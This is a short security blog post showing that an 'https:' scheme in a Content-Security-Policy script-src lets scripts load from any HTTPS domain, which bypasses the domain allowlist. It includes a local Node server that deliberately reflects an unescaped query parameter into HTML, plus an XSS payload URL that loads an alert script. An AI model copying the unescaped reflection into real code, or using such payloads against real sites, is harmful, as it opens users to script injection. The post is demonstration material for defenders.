Skip to content

Scheme is CSP’s Weakest Link

A CSP is the seatbelt for client-side attacks like Cross-Site Scripting and Clickjacking. It is really common to find a CSP which allows loading of resources only from specific domains, in order to limit the attack surface. But why use schemes?

Based on W3’s CSP page, in chapter 2.3.1. Source Lists, there is the schemes explanation, which is:

Schemes such as https: (which matches any resource having the specified scheme)

I had seen in many occasions a scheme like https: in one of my assessments, but in my ignorance I never bothered to investigate further, since I believed that it instructs the browser to allow the loading of resources only when coming from a secure website, while respecting the domain names specified. I was DAMN wrong. The scheme instructs the browser to accept ALL connections from websites using https, bypassing any other restriction in place.

In order to test this, i set up 2 records in my localhost, one called localallow.com and another one localdeny.com. The idea was to allow only the localallow.com domain in my CSP and add a scheme to see how it will go. To do that, i set up a basic HTTPS web server using node. There is a page called example.js, which just servers a simple JS file.

const https = require('https');
const fs = require('fs');
const path = require('path');
const url = require('url');

const hostname = '127.0.0.1';
const port = 443;

const options = {
    key: fs.readFileSync(path.resolve(__dirname, './private.key')),
    cert: fs.readFileSync(path.resolve(__dirname, './certificate.crt')),
};

const server = https.createServer(options, (req, res) => {
    const parsedUrl = url.parse(req.url, true);
    const message = parsedUrl.query.message || 'No message provided';
    res.statusCode = 200;

    if (req.url === '/example.js') {
        res.setHeader('Content-Type', 'application/javascript')
        res.end(`alert('XSS');`);
    } else {
        res.setHeader('Content-Security-Policy', "default-src 'self'; script-src 'self' https://localallow.com; style-src 'self'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self'")

        res.end(`<html>
            <body>
              <p>Your message is: ${message}</p>
            </body>
            </html>`);
    }
});

server.listen(port, hostname, () => {
    console.log(`Server running at https://${hostname}:${port}/`);
});

In every page loaded, the server returns the content passed as part of the message argument. This argument is user controlled, so we have this wonderful vulnerability called XSS. So, all somebody had to do, was load the script from the localallow.com domain, since it allowed. The final URL would look like this:

https://localhost/?message=%3Cscript%20src=%22https://localallow.com/example.js%22%3E%3C/script%3E
XSS from a trusted source script
XSS from localallow.com

When the page loads, the payload triggers, without any issues. With the current CSP, in case we try to execute the script from localdeny.com, the browser should block the loading of the script.

CSP blocks the script execution
CSP blocks the untrusted domain! Good job CSP!

And this was exactly as we planned. But what will happen if somebody added a scheme to the CSP? The updated CSP will look like this:

default-src 'self'; script-src 'self' https: https://localallow.com; style-src 'self'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self'

Now let’s reload the same page, and see what will happen.

Scheme discards every CSP configuration
JavaScript loaded from an untrusted domain

The script executes although the domain localdeny.com is not listed in the list of domains allowed. And this bring the question. WHY?

WHY would something like that just discard the whole CSP scope and not just enforce the scheme for the domains which are whitelisted?

Was this post helpful?